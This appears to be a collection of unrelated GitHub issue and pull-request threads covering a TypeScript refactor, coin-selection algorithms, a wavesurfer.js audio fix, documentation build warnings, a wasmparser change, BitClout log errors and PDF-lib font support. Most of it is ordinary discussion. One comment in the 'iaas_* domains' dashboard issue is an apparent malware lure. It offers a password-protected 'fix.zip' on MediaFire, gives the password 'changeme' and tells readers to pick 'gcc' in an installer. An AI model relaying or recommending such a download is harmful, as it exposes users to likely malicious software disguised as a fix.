now, a few questions are open, and I think the amount of code in App.tsx asks for a refactor, moving out code.

@ekzhang Finally got to it this weekend. Got a bit carried away with Typescript, its been a while, I hope I'm not pulling to many clever things that make the code unapproachable.
A bug I just realized forgot to address is the download button not working as intended. I'm not sure how to approach that, you might want to refer to this article. It doesnt work atm, didnt get to it yet.
Also generally you probably want to adjust the styling of these buttons, and the text in there.
As said in the opening post, I think with now almost 500 lines in App.tsx it might be a good idea to move code out into other files, eg. by putting parts in components, and moving out some handlers.
I also think that I probably didn't entirely keep to your code-style, sorry for that.
We also should add more file extensions for auto-detection of languages - potentially requiring at least a default extension for every language in the type - , and perhaps the notifications should be changed (not promoting the language change and/or notifying that this was due to a file upload).

Fixed the upload button

Goddamnit, I wanted to mark this as a draft in addition to my comment, forgot that, sorry about that.
As I said a few times now, this was a (on my PC decently working) prototype to get feedback.
I'll implement the straight forward feedback, a few points need clarification though.
This list may not be complete, better if you respond individually but:

The file extensions and languages deduction logic, how its kept as data structures, and if/how we use monacos tooling.
Should I refactor App.tsx to move out components, also if theyre not connected to this MR?
I'll specifically also implement your suggestions on the useCallback method and the Mac Save keyboard shortcut, but I don't have a Mac, so you'll have to test. setText also seemed to have some issues for me a few times, every time I tried to reproduce it it didn't happen.

I'm unsure whether I'm just overloading you with questions, if you think this has not been done well, or what else might be the case.
I've looked a bit into organizing the App.tsx into smaller components. In that process I've stumbled upon further questions.
I feel like I don't do a good job at communicating my issues in this text format, and the pure mass of questions doesn't help either. I feel like a contact via i.e. teams, discord or whatever might be beneficial and spare both of us much time. I'll forward you some contact details and a few time suggestions.

Sorry for the delay in responding. Unfortunately I'm not able to review such a large change right now, especially one that adds a lot of code, but I appreciate your work and thanks for contributing. It looks pretty good to me.


Branch And Bound Wallet could be improved not to explore fruitless branches

Branch and Bound will explore branches until they exceed the target or until a leaf is reached (or the global cut-off is reached).
BnB could be more efficient if a "Lookahead" were added that informs about the total a branch to the leaf may still yield. Branches that cannot reach sufficient payload to fund the target could then be cut off early to explore more promising branches.

This is already implemented, right?

Correct! You can find it in https://github.com/Xekyo/CoinSelectionSimulator/blob/master/src/main/scala/one/murch/bitcoin/coinselection/StackEfficientTailRecursiveBnB.scala


[GSSOC'23] [NEW GAME] Creating NINETY NINE game under js-games

"Ninety Nine" is a simple and strategic number game where you, as the player, compete against a bot opponent. The objective of the game is to be the first player to reach a sum of 99 by strategically selecting numbers.

Can you please assign this to me under gssoc'23 : )

@Illuminati9 go ahead and Please mention tech stacks you are using for this project.

Hi @Saurabh-kumar09 , I have raised pull request #1653 . Can you please review the changes and merge it to main repository : )


track and disconnect audio resources used by setSinkId

Short description of changes:
Invoking setSinkId will create an Audio and MediaStream.
Create them once per wavesurfer and then disconnect/NULL them explicitly
on destroy.
After this change observe chrome://media-internals and create/setSinkId/destroy
many wavesurfers in a loop
Related Issues and other PRs:
fixes https://github.com/katspaugh/wavesurfer.js/issues/2481
Demo of media-internals after this change:

Coverage decreased (-0.3%) to 81.308% when pulling f023fa0986af0d70a343d48e00812e53418a95dc on kross-italk:2481-setsinkid-track-and-disconnect-audio-resources into 3b9695ff05bcfea8bb05f5ea9ec76e7aa01ca858 on katspaugh:master.


Docs updates from Sync Week team

:x: Validation status: errors

File
Status
Preview URL
Details

:x:Error

Details

[Error] An exception occurred during the build process. Please check the raw log and retry building your content again. If the issue persists, please open a ticket in http://SiteHelp and include the URL of publishing report.

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Could you please resolve conflicts on this branch, so that we can start reviewing the PR?

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/libraries/Shor.md
:warning:Warning

Details

articles/libraries/algorithms.md
:warning:Warning

Details

articles/libraries/prelude.md
:warning:Warning

Details

articles/quantum-concepts-4-Qubit.md
:warning:Warning

Details

articles/quantum-concepts-8-QuantumCircuits.md
:warning:Warning

Details

articles/quantum-techniques-2-OperationsandFunctions.md
:warning:Warning

Details

articles/quantum-techniques-6-PuttingItAllTogether.md
:warning:Warning

Details

articles/index.md
:white_check_mark:Succeeded

articles/libraries/control-flow.md
:white_check_mark:Succeeded

articles/libraries/data-structures.md
:white_check_mark:Succeeded

articles/libraries/error-correction.md
:white_check_mark:Succeeded

articles/libraries/intro.md
:white_check_mark:Succeeded

articles/libraries/licensing.md
:white_check_mark:Succeeded

articles/libraries/testing.md
:white_check_mark:Succeeded

articles/media/prelude_blochIdentity.png
:white_check_mark:Succeeded

articles/media/prelude_hadamardBloch.png
:white_check_mark:Succeeded

articles/media/prelude_pauliBloch.png
:white_check_mark:Succeeded

articles/media/prelude_rotationBloch.png
:white_check_mark:Succeeded

articles/quantum-WriteAQuantumProgram.md
:white_check_mark:Succeeded

articles/quantum-concepts-1-Intro.md
:white_check_mark:Succeeded

articles/quantum-concepts-2-VectorsMatrices.md
:white_check_mark:Succeeded

articles/quantum-concepts-3-MatrixAdvanced.md
:white_check_mark:Succeeded

articles/quantum-concepts-5-MultipleQubits.md
:white_check_mark:Succeeded

articles/quantum-fullstate-simulator.md
:white_check_mark:Succeeded

articles/libraries/Shor.md

Line 59: [Warning] Invalid file link:(~/media/QPE.png).

articles/libraries/algorithms.md

[Warning] 1 invalid cross reference(s) "eigenvalue".
Line 123: [Warning] Invalid file link:(~/media/draper.png).
Line 136: [Warning] Invalid file link:(~/media/beau.png).

articles/libraries/prelude.md

Line 88: [Warning] Invalid file link:(~/media/prelude_pauliBloch.png).
Line 98: [Warning] Invalid file link:(~/media/prelude_blochIdentity.png).
Line 117: [Warning] Invalid file link:(~/media/prelude_hadamardBloch.png).
Line 203: [Warning] Invalid file link:(~/media/prelude_rotationBloch.png).

articles/quantum-concepts-4-Qubit.md

Line 51: [Warning] Invalid file link:(~/media/concepts_bloch.png).

articles/quantum-concepts-8-QuantumCircuits.md

Line 25: [Warning] Invalid file link:(~/media/Concepts1.png).
Line 33: [Warning] Invalid file link:(~/media/concepts_2.png).
Line 41: [Warning] Invalid file link:(~/media/concepts_3.png).
Line 51: [Warning] Invalid file link:(~/media/concepts_4.png).
Line 60: [Warning] Invalid file link:(~/media/concepts_5.png).
Line 67: [Warning] Invalid file link:(~/media/concepts_6.png).
Line 86: [Warning] Invalid file link:(~/media/concepts_7.png).
Line 94: [Warning] Invalid file link:(~/media/concepts_8.png).
Line 101: [Warning] Invalid file link:(~/media/concepts_tp2.png).

articles/quantum-techniques-2-OperationsandFunctions.md

[Warning] 1 invalid cross reference(s) "Repeat Until Sucess (RUS)".

articles/quantum-techniques-6-PuttingItAllTogether.md

Line 125: [Warning] Invalid file link:(~/media/teleportation.svg).
Line 131: [Warning] Invalid file link:(~/media/teleportation.svg).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/libraries/Shor.md
:warning:Warning

Details

articles/libraries/algorithms.md
:warning:Warning

Details

articles/libraries/prelude.md
:warning:Warning

Details

articles/quantum-concepts-4-Qubit.md
:warning:Warning

Details

articles/quantum-concepts-8-QuantumCircuits.md
:warning:Warning

Details

articles/quantum-techniques-2-OperationsandFunctions.md
:warning:Warning

Details

articles/quantum-techniques-6-PuttingItAllTogether.md
:warning:Warning

Details

articles/index.md
:white_check_mark:Succeeded

articles/libraries/control-flow.md
:white_check_mark:Succeeded

articles/libraries/data-structures.md
:white_check_mark:Succeeded

articles/libraries/error-correction.md
:white_check_mark:Succeeded

articles/libraries/intro.md
:white_check_mark:Succeeded

articles/libraries/licensing.md
:white_check_mark:Succeeded

articles/libraries/testing.md
:white_check_mark:Succeeded

articles/media/prelude_blochIdentity.png
:white_check_mark:Succeeded

articles/media/prelude_hadamardBloch.png
:white_check_mark:Succeeded

articles/media/prelude_pauliBloch.png
:white_check_mark:Succeeded

articles/media/prelude_rotationBloch.png
:white_check_mark:Succeeded

articles/quantum-WriteAQuantumProgram.md
:white_check_mark:Succeeded

articles/quantum-concepts-1-Intro.md
:white_check_mark:Succeeded

articles/quantum-concepts-2-VectorsMatrices.md
:white_check_mark:Succeeded

articles/quantum-concepts-3-MatrixAdvanced.md
:white_check_mark:Succeeded

articles/quantum-concepts-5-MultipleQubits.md
:white_check_mark:Succeeded

articles/quantum-fullstate-simulator.md
:white_check_mark:Succeeded

articles/libraries/Shor.md

Line 59: [Warning] Invalid file link:(~/media/QPE.png).

articles/libraries/algorithms.md

[Warning] 1 invalid cross reference(s) "eigenvalue".
Line 123: [Warning] Invalid file link:(~/media/draper.png).
Line 136: [Warning] Invalid file link:(~/media/beau.png).

articles/libraries/prelude.md

Line 88: [Warning] Invalid file link:(~/media/prelude_pauliBloch.png).
Line 98: [Warning] Invalid file link:(~/media/prelude_blochIdentity.png).
Line 117: [Warning] Invalid file link:(~/media/prelude_hadamardBloch.png).
Line 203: [Warning] Invalid file link:(~/media/prelude_rotationBloch.png).

articles/quantum-concepts-4-Qubit.md

Line 51: [Warning] Invalid file link:(~/media/concepts_bloch.png).

articles/quantum-concepts-8-QuantumCircuits.md

Line 25: [Warning] Invalid file link:(~/media/Concepts1.png).
Line 33: [Warning] Invalid file link:(~/media/concepts_2.png).
Line 41: [Warning] Invalid file link:(~/media/concepts_3.png).
Line 51: [Warning] Invalid file link:(~/media/concepts_4.png).
Line 60: [Warning] Invalid file link:(~/media/concepts_5.png).
Line 67: [Warning] Invalid file link:(~/media/concepts_6.png).
Line 86: [Warning] Invalid file link:(~/media/concepts_7.png).
Line 94: [Warning] Invalid file link:(~/media/concepts_8.png).
Line 101: [Warning] Invalid file link:(~/media/concepts_tp2.png).

articles/quantum-techniques-2-OperationsandFunctions.md

[Warning] 1 invalid cross reference(s) "Repeat Until Sucess (RUS)".

articles/quantum-techniques-6-PuttingItAllTogether.md

Line 125: [Warning] Invalid file link:(~/media/teleportation.svg).
Line 131: [Warning] Invalid file link:(~/media/teleportation.svg).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Made the changes you requested :)

:warning: Validation status: warnings

File
Status
Preview URL
Details

articles/libraries/Shor.md
:warning:Warning

Details

articles/libraries/algorithms.md
:warning:Warning

Details

articles/libraries/prelude.md
:warning:Warning

Details

articles/quantum-concepts-4-Qubit.md
:warning:Warning

Details

articles/quantum-concepts-8-QuantumCircuits.md
:warning:Warning

Details

articles/quantum-techniques-2-OperationsandFunctions.md
:warning:Warning

Details

articles/quantum-techniques-6-PuttingItAllTogether.md
:warning:Warning

Details

articles/index.md
:white_check_mark:Succeeded

articles/libraries/control-flow.md
:white_check_mark:Succeeded

articles/libraries/data-structures.md
:white_check_mark:Succeeded

articles/libraries/error-correction.md
:white_check_mark:Succeeded

articles/libraries/intro.md
:white_check_mark:Succeeded

articles/libraries/licensing.md
:white_check_mark:Succeeded

articles/libraries/testing.md
:white_check_mark:Succeeded

articles/media/prelude_blochIdentity.png
:white_check_mark:Succeeded

articles/media/prelude_hadamardBloch.png
:white_check_mark:Succeeded

articles/media/prelude_pauliBloch.png
:white_check_mark:Succeeded

articles/media/prelude_rotationBloch.png
:white_check_mark:Succeeded

articles/quantum-WriteAQuantumProgram.md
:white_check_mark:Succeeded

articles/quantum-concepts-1-Intro.md
:white_check_mark:Succeeded

articles/quantum-concepts-2-VectorsMatrices.md
:white_check_mark:Succeeded

articles/quantum-concepts-3-MatrixAdvanced.md
:white_check_mark:Succeeded

articles/quantum-concepts-5-MultipleQubits.md
:white_check_mark:Succeeded

articles/quantum-fullstate-simulator.md
:white_check_mark:Succeeded

articles/libraries/Shor.md

Line 59: [Warning] Invalid file link:(~/media/QPE.png).

articles/libraries/algorithms.md

[Warning] 1 invalid cross reference(s) "eigenvalue".
Line 123: [Warning] Invalid file link:(~/media/draper.png).
Line 136: [Warning] Invalid file link:(~/media/beau.png).

articles/libraries/prelude.md

Line 88: [Warning] Invalid file link:(~/media/prelude_pauliBloch.png).
Line 98: [Warning] Invalid file link:(~/media/prelude_blochIdentity.png).
Line 117: [Warning] Invalid file link:(~/media/prelude_hadamardBloch.png).
Line 203: [Warning] Invalid file link:(~/media/prelude_rotationBloch.png).

articles/quantum-concepts-4-Qubit.md

Line 52: [Warning] Invalid file link:(~/media/concepts_bloch.png).

articles/quantum-concepts-8-QuantumCircuits.md

Line 25: [Warning] Invalid file link:(~/media/Concepts1.png).
Line 33: [Warning] Invalid file link:(~/media/concepts_2.png).
Line 41: [Warning] Invalid file link:(~/media/concepts_3.png).
Line 51: [Warning] Invalid file link:(~/media/concepts_4.png).
Line 60: [Warning] Invalid file link:(~/media/concepts_5.png).
Line 67: [Warning] Invalid file link:(~/media/concepts_6.png).
Line 86: [Warning] Invalid file link:(~/media/concepts_7.png).
Line 94: [Warning] Invalid file link:(~/media/concepts_8.png).
Line 101: [Warning] Invalid file link:(~/media/concepts_tp2.png).

articles/quantum-techniques-2-OperationsandFunctions.md

[Warning] 1 invalid cross reference(s) "Repeat Until Sucess (RUS)".

articles/quantum-techniques-6-PuttingItAllTogether.md

Line 125: [Warning] Invalid file link:(~/media/teleportation.svg).
Line 131: [Warning] Invalid file link:(~/media/teleportation.svg).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Add titleStyle and subtitleStyle to search delegate

titleStyle and subtitleStyle parameters are not passed along to SearchDelegateNavigator like the other CountrySelectNavigator implementations. This PR adds support for overriding default titleStyle and subtitleStyle when usingSearchDelegateNavigator as the CountrySelectNavigator

published


Remove use of unsafe transmute in read_f32 and read_f64

wasmparser currently uses an unsafe transmute to convert a floating-point literal from raw bytes to an f32 or f64. In practice this is fairly safe, however it's desirable to avoid unsafe code in general.
It's tempting to convert these to the new to_bits/from_bits APIs in Rust once they become stable, however those APIs have the subtle behavior of quieting signaling NaNs, making them unusable for wasm decoding.
Cretonne solves a similar problem by representing floating-point literals as integers holding the bit patterns. I think that would work well for wasmparser too, since it isn't doing any of the actual floating-point arithmetic itself, so it doesn't need the values in f32 or f64 format.

Fixed by 7e8c792


Backend showing loads of Diamond level 0 does not exist in map errors

Not sure when this started but seeing a lot of errors Diamond level 0 does not exist in map from the line below on multiple nodes
https://github.com/bitclout/core/blob/51c2ab3548fe005188f2e8b3747e2d73e3e99dff/lib/blockchain.go#L3103
845147 errors
first few:
E0817 14:42:06.271718       1 blockchain.go:3103] GetBitCloutNanosForDiamondLevelAtBlockHeight: Diamond level 0 does not exist in map map[1:50000 2:500000 3:5000000 4:50000000 5:500000000 6:5000000000 7:50000000000 8:500000000000]; this should never happen
E0817 14:42:06.272369       1 blockchain.go:3103] GetBitCloutNanosForDiamondLevelAtBlockHeight: Diamond level 0 does not exist in map map[1:50000 2:500000 3:5000000 4:50000000 5:500000000 6:5000000000 7:50000000000 8:500000000000]; this should never happen

Last few
E0818 13:18:30.950004       1 blockchain.go:3103] GetBitCloutNanosForDiamondLevelAtBlockHeight: Diamond level 0 does not exist in map map[1:50000 2:500000 3:5000000 4:50000000 5:500000000 6:5000000000 7:50000000000 8:500000000000]; this should never happen
E0818 13:18:30.950590       1 blockchain.go:3103] GetBitCloutNanosForDiamondLevelAtBlockHeight: Diamond level 0 does not exist in map map[1:50000 2:500000 3:5000000 4:50000000 5:500000000 6:5000000000 7:50000000000 8:500000000000]; this should never happen

This error is due to the CLOUT diamonds change, but it is harmless. This change should suppress it if someone wants to review:
https://github.com/bitclout/core/pull/95/files

Thanks all


When open download filefolder, the position is not at the top

Description
When open download filefolder, the position is not at the top
Steps To Reproduce
open a filefolder like [download] which is grouped by date and has a lot of files
Requirements
the position should be at the top
Files Version
3.2.3
Windows Version
Windows11 22631.3155
Log File
debug.log

Thanks for the feedback, We're tracking this in #5825. You can check there or click subscribe in the right sidebar for updates.


Feature: hide docs/support section and domain switcher in iaas_* domains

Adjust dashboard landing page for the iaas_* domains:
The iaas_* domains have a different use case.

[ ] Hide docu/support section
[ ] Hide domain switcher
[ ] Keep region switcher but change behaviour: if another region is clicked immediately redirect to that region but keep the domain. (test this first, it might be weird)

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Evaluate PowerFX String Expressions for Static Analysis

For specific use cases, for static analysis, we need to retrieve the evaluated result of a PowerFX string expressions. To enable this, we need a method to get the PowerFX output from both string and interpolated string expressions, provided that the interpolated strings do not contain any island expressions.

Can you elaborate on the scenario?

In the DLP endpoint filtering feature, we need to restrict specific values within action arguments. For example, a user might want to block requests to certain URLs, which will be done by comparing the runtime expression value against the endpoint filtering rule. Note that this restriction will only apply on design time when the expression is a static string, not in other cases.


[8.x] Add htmlString helper method

Motivation:
I often use the HtmlString to render Stringable data without using {!! $content !!}.
Before:
return new HtmlString(Str::of($content)->markdown());

return new HtmlString(Str::markdown($content));

After:
return Str::of($content)
    ->markdown()
    ->htmlString();

@selcukcukur instead of downvoting please provide feedback why you don't like this addition.

@Larsklopstra maybe just ->html()?


Allow the default content action to be set

Setting the default content action appears blocked by the FormFiller interacting poorly with Disabler

Added a workaround

Ah rip it looks like even I added my own template modifications for this @Xon :/

Removed my template modifications


How to use Chinese characters

What were you trying to do?
I've encountered issues handling traditional Chinese PDF files while using PDFlib.
How did you attempt to do it?
When I drag a PDF file containing traditional Chinese into PDF-lib, the webpage displays an error, and the PDF file cannot be processed as expected.

What actually happened?
I even tried to use ttf to directly load the entire glyph into js (Embed Font and Measure Text), but whenever the browser wanted to load ttf, it would pop up in violation of CORS regulations, but the magic is that using the official website (PDF- The ttf link provided by lib) does not violate the CORS regulations, but it still cannot be used. The ttf does not support Chinese. I have tried for a whole week, but I still haven’t solved the problem of PDF-lib processing Chinese.
And I found that PDF files processed with ttf have become fatter, from 9xKB to 13XX KB, which is too big.
What did you expect to happen?
Is there any chance for PDF lib to directly support Chinese processing?
Whether it’s Traditional Chinese or Simplified Chinese
How can we reproduce the issue?

你好呀.pdf
Version
1.17.1
What environment are you running pdf-lib in?
Other
Checklist

[X] My report includes a Short, Self Contained, Correct (Compilable) Example.
[X] I have attached all PDFs, images, and other files needed to run my SSCCE.

Additional Notes
No response

have a look at README https://github.com/Hopding/pdf-lib/tree/master?tab=readme-ov-file#fonts-and-unicode